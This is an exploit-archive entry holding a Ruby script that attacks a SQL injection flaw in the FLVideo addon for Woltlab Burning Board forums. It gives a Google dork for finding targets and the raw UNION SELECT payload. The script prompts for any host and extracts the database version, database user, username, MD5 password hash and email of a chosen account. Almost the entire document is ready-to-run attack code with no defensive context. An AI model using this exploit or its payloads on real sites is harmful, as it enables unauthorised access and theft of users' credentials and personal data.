# Exploit Title: Woltlab Burning Board FLVideo Addon SQL Injection flvideo.php Exploit # Google Dork: inurl:flvideo.php wbb (and more) # Date: 04.09.2013 # Exploit Author: Easy Laster # Vendor Homepage: http://www.flvideo.de/ # Version: FLVideo Addon for WBB © 2007 by Danny König # Tested on: Windows8/Backtrack #!/usr/bin/ruby #secunet.cc #19.02.2013 #Discovered and Vulnerability by Easy Laster #flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/* #*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(version()%20as%20char)) #null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/ #**/+userid=1--+ print " ################################################################ # secunet.cc # ################################################################ #PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT# #Woltlab Burning Board FLVideo Addon SQL Injection flvideo.php # # Exploit # # Using Host+Path+id # # www.demo.de + /wbb/ + or + / + 1 # # Easy Laster # #PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT!PRIVAT# ################################################################ " require 'net/http' block = "################################################################" print ""+ block +"" print "\nEnter Target Name (site.com)->" host=gets.chomp print ""+ block +"" print "\nEnter Script Path (/wbb/ or /)->" path=gets.chomp print ""+ block +"" print "\nEnter The ID From User (id)->" userid=gets.chomp print ""+ block +"" begin dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+ "*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(version()%20as%20char))"+ "),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+ "null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+ "**/+userid="+ userid +"--+" http = Net::HTTP.new(host, 80) resp= http.get(path+dir) print "\nVersion Database -> "+(/'~'(.+)'~'/).match(resp.body)[1] dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+ "*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(user()%20as%20char))"+ "),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+ "null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+ "**/+userid="+ userid +"--+" http = Net::HTTP.new(host, 80) resp= http.get(path+dir) print "\nDatabase User -> "+(/'~'(.+)'~'/).match(resp.body)[1] dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+ "*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(userid%20as%20char))"+ "),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+ "null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+ "**/+userid="+ userid +"--+" http = Net::HTTP.new(host, 80) resp= http.get(path+dir) print "\nID Account -> "+(/'~'(.+)'~'/).match(resp.body)[1] dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+ "*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(username%20as%20char))"+ "),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+ "null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+ "**/+userid="+ userid +"--+" http = Net::HTTP.new(host, 80) resp= http.get(path+dir) print "\nUsername Account -> "+(/'~'(.+)'~'/).match(resp.body)[1] dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+ "*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(password%20as%20char))"+ "),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+ "null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+ "**/+userid="+ userid +"--+" http = Net::HTTP.new(host, 80) resp= http.get(path+dir) print "\nPassword Account MD5 -> "+(/'~'(.+)'~'/).match(resp.body)[1] dir = "flvideo.php?action=search&for=cat&value=999999.9/**/+union/**/+all/*"+ "*/+select/**/+concat(0x7e,0x27,unhex(Hex(cast(email%20as%20char))"+ "),0x27,0x7e),null,null,null,null,null,null,null,null,null,null,null,"+ "null,null,null,null,null,null,null/**/+from/**/+bb1_users/**/+where/"+ "**/+userid="+ userid +"--+" http = Net::HTTP.new(host, 80) resp= http.get(path+dir) print "\nEmail Adresse Account -> "+(/'~'(.+)'~'/).match(resp.body)[1] print "\n" print ""+ block +"" print "\n" print " ################################################################ # Greetings # ################################################################ #mAdDiN, c0Re, illuministrator, WD40, peak, IRET, GabbaGandalf # #DR.zydz, HANN!BAL, 6rbk9 , Manifest, doc, cr4ck, Prof.Dr. Ogen# #ezah, enco, 4c!d And SecuNet.cc, 4004, dc3 crew, hackbase.cc # ################################################################ " rescue print "\nExploit Failed" end